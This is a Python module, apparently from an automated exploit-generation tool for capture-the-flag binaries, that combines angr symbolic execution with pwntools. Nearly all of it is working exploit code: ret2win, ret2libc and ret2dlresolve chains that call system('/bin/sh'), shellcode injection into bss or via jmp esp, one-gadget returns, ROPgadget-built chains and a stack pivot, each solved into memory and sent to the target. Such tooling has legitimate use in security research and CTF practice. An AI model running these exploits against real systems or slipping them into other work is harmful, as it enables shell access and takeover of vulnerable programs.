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mod_exploit.py
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mod_exploit.py
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import logging
from subprocess import Popen
from angr import SimUnsatError
from pwn import p32, p64
from .challenge import Challenge
from .binary_interactive import InteractiveBinary
from .utils import *
class Exploit:
def __init__(self, exploit_name, exploit_func, require_disabled_protections, required_information, least_width):
# log.info(
# f'Load exploit: {exploit_name}, need binary without or bypassed {require_disabled_protections}, '
# f'need {required_information} and payload len at least {least_width}')
self.exploit_name = exploit_name
self.exploit_func = exploit_func
self.require_disabled_protections = require_disabled_protections
self.required_information = required_information
self.least_width = least_width
self.available = True
def run(self, state_raw: angr.SimState, challenge: Challenge, new_mem: list):
log.info(f"Trying exploit {self.exploit_name}")
try:
self.exploit_func(state_raw, challenge, new_mem, state_raw.globals['binary'])
except SimUnsatError:
log.failure(f"payload constraint unset")
except AttributeError:
log.failure(f"payload gadget unset")
self.available = False
log.failure(f"Exploit {self.exploit_name} failed")
def satisfy(self, binary: InteractiveBinary, try_lazy=False):
if self.available:
if 'lazy' in self.exploit_name and not try_lazy:
return False
if '_align' in self.exploit_name and binary.arch_bytes != 8:
return False # Since we do not trace the stack in shared libs, we need to consider the alignment
return all([i in binary.io_seg_addr for i in self.required_information]) and \
all([not binary.challenge.protection[i] for i in self.require_disabled_protections]) and \
binary.payload_len >= binary.arch_bytes * self.least_width - 1
def init_exploits():
log.info('Loading exploits.')
return [
Exploit('ret2win', ret2win, ['Canary'], ['text', 'win_func'], 1),
Exploit('ret2backdoor', ret2backdoor, ['Canary'], ['text', 'backdoor', 'cmd_str'], 3),
Exploit('ret2libc_align', ret2libc_align, ['Canary'], ['libc', 'dynamic'], 4),
Exploit('ret2libc', ret2libc, ['Canary'], ['libc', 'dynamic'], 3),
Exploit('jmp2shellcode', jmp2shellcode, ['Canary', 'NX'], ['text', 'jmp_esp'], 1),
Exploit('ret2gg', ret2gg, ['Canary'], ['text', 'static'], 5),
Exploit('lazy_ret2win_obo', ret2win_obo, ['Canary'], ['win_func'], 0),
Exploit('lazy_ret2dl', ret2dl, ['Canary', 'RELRO'], ['text', 'dynamic'], 4),
Exploit('lazy_rer2dl_align', ret2dl_align, ['Canary', 'RELRO'], ['text', 'dynamic'], 5),
Exploit('lazy_ret2og', ret2og, ['Canary'], ['libc', 'dynamic'], 1),
# Exploit('lazy_ret2stack', ret2stack, ['Canary', 'NX', 'PIE'], [], 4),
Exploit('lazy_ret2shellcode', ret2shellcode, ['Canary', 'NX'], ['text'], 1),
]
def stack_pivot(state_raw: angr.SimState, challenge: Challenge, new_mem: list):
state = state_raw.copy()
binary = state_raw.globals['binary']
rop_chain = ROP([challenge.target_binary])
stack_addr = challenge.target_binary.bss() + 0x430
arch_bytes = challenge.target_property['arch_bytes']
rop_chain.raw(stack_addr - arch_bytes)
try:
if challenge.target_binary.functions.get('gets'):
rop_chain.call('gets', [stack_addr])
elif challenge.target_binary.functions.get('fgets'):
rop_chain.call('fgets', [stack_addr, 0x630, 0])
elif challenge.target_binary.functions.get('read'):
rop_chain.call('read', [0, stack_addr, 0x630])
else:
return False
leave_ret_addr = rop_chain.find_gadget(['leave', 'ret']).address
rop_chain.raw(leave_ret_addr)
except PwnlibException:
return False
payload = rop_chain.chain()
constraints = [state.memory.load(new_mem[0] - arch_bytes, size=len(payload)) == payload]
if state.solver.satisfiable(extra_constraints=constraints):
for constraint in constraints:
state.add_constraints(constraint)
binary.warped_io_strip_zero(state, dump_payload(state, True))
if not binary.check_alive():
log.warning("Failed stack pivot")
binary.close()
else:
return True
def ret2shellcode(state_raw: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary):
bss_start = challenge.target_binary.bss()
symbolic_list = [state_raw.memory.load(bss_start + x, size=1).symbolic for x in range(0x300)]
if sum(symbolic_list) >= 24:
pos, greatest_count = get_max_successive_symbolic_byte(symbolic_list)
log.success(f"Found symbolic buffer at position {pos} of length {greatest_count}")
if greatest_count >= 24:
payload = get_shellcode(challenge.target_property)
pos += bss_start
offset = 0
while offset + len(payload) < greatest_count:
constraints = [
state_raw.memory.load(new_mem[0],
size=challenge.target_property['arch_bytes']) == challenge.le(pos),
state_raw.memory.load(pos + offset, size=len(payload)) == payload
]
if state_raw.solver.satisfiable(extra_constraints=constraints):
for constraint in constraints:
state_raw.add_constraints(constraint)
return binary.get_flag(state_raw, dump_payload(state_raw, True))
else:
offset += len(payload)
else:
logging.warning("Too few symbolic bytes in bss, where can shellcode be placed?")
def jmp2shellcode(state_raw: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary):
payload = get_shellcode(challenge.target_property)
constraints = [state_raw.memory.load(new_mem[0], size=len(payload) + challenge.target_property['arch_bytes']) ==
challenge.le(binary.io_seg_addr['text'] + binary.io_seg_addr['jmp_esp']) + payload]
for constraint in constraints:
state_raw.add_constraints(constraint)
binary.get_flag(state_raw, dump_payload(state_raw, True))
def ret2win(state_raw: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary):
for win_addr in binary.io_seg_addr.get('win_func'):
log.info(f"Trying ret2win at {hex(win_addr)}")
win_addr += binary.io_seg_addr['text']
state = state_raw.copy()
arch_bytes = challenge.target_property['arch_bytes']
constraint = state.memory.load(new_mem[0], size=arch_bytes) == (challenge.le(win_addr))
if state.solver.satisfiable(extra_constraints=[constraint]):
state.add_constraints(constraint)
binary.get_flag(state_raw, dump_payload(state, False))
def ret2win_obo(state_raw: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary):
for win_addr in binary.io_seg_addr.get('win_func'):
if win_addr | 0xff == binary.rop_address | 0xff:
log.info(f"Trying ret2win off-by-one at {hex(win_addr)}")
state = state_raw.copy()
constraint = state.memory.load(new_mem[0], size=1) == (win_addr & 0xff)
if state.solver.satisfiable(extra_constraints=[constraint]):
state.add_constraints(constraint)
binary.get_flag(state_raw, dump_payload(state), has_newline=False)
def ret2og(state_raw: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary):
one_gadgets = get_one_gadget(challenge)
for one_gadget in one_gadgets:
state = state_raw.copy()
libc_base = binary.io_seg_addr['libc']
log.info(f"Trying ret2og, with libc: {binary.libc} and base: {libc_base}")
ret_addr = libc_base + one_gadget
log.info(f"Set ret addr(OG) to {hex(ret_addr)}")
constraint = state.memory.load(new_mem[0], size=challenge.target_property['arch_bytes']) == (
challenge.le(ret_addr))
if state.solver.satisfiable(extra_constraints=[constraint]): # need to test real constraint for og
state.add_constraints(constraint)
binary.get_flag(state_raw, dump_payload(state, False))
log.warning(f"Failed using og at {hex(one_gadget + libc_base)}, offset: {hex(one_gadget)}")
binary.connect(state_raw)
def ret2libc(state: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary, align_=False):
log.info(f"Test for libc_system{' align' if align_ else ''}, with libc: {challenge.target_property['libc']} "
f"and base: {hex(binary.io_seg_addr['libc'])}")
libc = ELF(challenge.target_property['libc'], checksec=False)
libc.address = binary.io_seg_addr['libc']
if challenge.target_property['arch_bytes'] == 4:
payload = [libc.symbols['system'], 0, next(libc.search(b'/bin/sh\x00'))]
else:
rop_chain = ROP([libc])
rop_chain.call('system', [next(libc.search(b'/bin/sh\x00'))])
payload = rop_chain.chain()
if align_:
payload = p64(rop_chain.find_gadget(['pop rdi', 'ret']).address + 1) + payload
state.add_constraints(state.memory.load(new_mem[0], size=len(payload)) == payload)
binary.get_flag(state, dump_payload(state, True))
def ret2libc_align(state: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary):
ret2libc(state, challenge, new_mem, binary, align_=True)
def ret2backdoor(state: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary):
cmd_str = binary.io_seg_addr['cmd_str']
log.info(f"Trying to call backdoor void(*)(void){hex(binary.io_seg_addr['backdoor'])}({hex(cmd_str)})")
if challenge.target_property['arch_bytes'] == 4:
payload = p32(binary.io_seg_addr['backdoor']) + p32(0) + p32(cmd_str)
else:
pop_rdi_ret = ROP(challenge.target_binary).find_gadget(['pop rdi', 'ret']).address
payload = p64(pop_rdi_ret) + p64(cmd_str) + p64(binary.io_seg_addr['backdoor'])
state.add_constraints(state.memory.load(new_mem[0], size=len(payload)) == payload)
binary.get_flag(state, dump_payload(state, True))
def ret2dl(state: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary, align_=False):
try:
context.arch = challenge.target_property['arch']
rop_chain = ROP([challenge.target_binary])
dl_resolve = Ret2dlresolvePayload(challenge.target_binary, symbol="system", args=["/bin/sh"])
# todo: rop_chain.call use template for the function call, we may use SE to find other gadget for the function call
if "gets" in challenge.target_binary.got:
rop_chain.call("gets", [dl_resolve.data_addr])
elif "read" in challenge.target_binary.got:
try:
rop_chain.call("read", [0, dl_resolve.data_addr, len(dl_resolve.payload) + 1])
_ = rop_chain.dump()
except Exception:
rop_chain = ROP([challenge.target_binary])
rop_chain.call("read", [0, dl_resolve.data_addr])
log.warning("read(0, addr, len) failed, trying read(0, addr)")
else:
log.warning("No gets or read function found in binary")
return
rop_chain.ret2dlresolve(dl_resolve)
# log.info(f"dl-resolve rop chain gadgets and values: {rop_chain.dump()}")
first_payload = rop_chain.chain()
if align_:
first_payload = p64(rop_chain.find_gadget(['pop rdi', 'ret']).address + 1) + first_payload
state.solver.add(state.memory.load(new_mem[0], size=len(first_payload)) == first_payload)
binary.send_payload(state, dump_payload(state, True))
binary.get_flag(state, dl_resolve.payload)
except PwnlibException:
log.failure("dl-resolve function may not available.")
def ret2dl_align(state: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary):
ret2dl(state, challenge, new_mem, binary, align_=True)
def ret2gg(state: angr.SimState, challenge: Challenge, new_mem: list, binary: InteractiveBinary):
recv = subprocess.run(f"ROPgadget --binary {challenge.target_property['file']} --ropchain --silent",
stdout=subprocess.PIPE, shell=True).stdout
if "Build the ROP chain" not in recv.decode():
log.warning("Not found enough gadgets")
return
recv1 = recv[recv.find(b'from struct import pack'):].replace(b'\t', b'').replace(b'\t', b'').split(b'\n')
addr = []
for i in recv1:
pattern_raw = re.search(b'\'(.*)\'', i)
pattern_hex_addr = re.search(b" (0x[0-9a-f].*)\\)", i)
if pattern_hex_addr:
gg = int(pattern_hex_addr.group(1), 16) + binary.io_seg_addr['text']
addr.append(challenge.le(gg))
elif pattern_raw:
addr.append(pattern_raw.group(1))
addr = addr[1:] # skip '' in the first
payload = b''.join(addr)
if len(new_mem) < len(payload) and stack_pivot(state, challenge, new_mem):
log.info("Successfully stack pivot, trying ret2gadgets")
binary.get_flag(state, payload)
else:
state.solver.add(state.memory.load(new_mem[0], size=len(payload)) == payload)
binary.get_flag(state, dump_payload(state, True))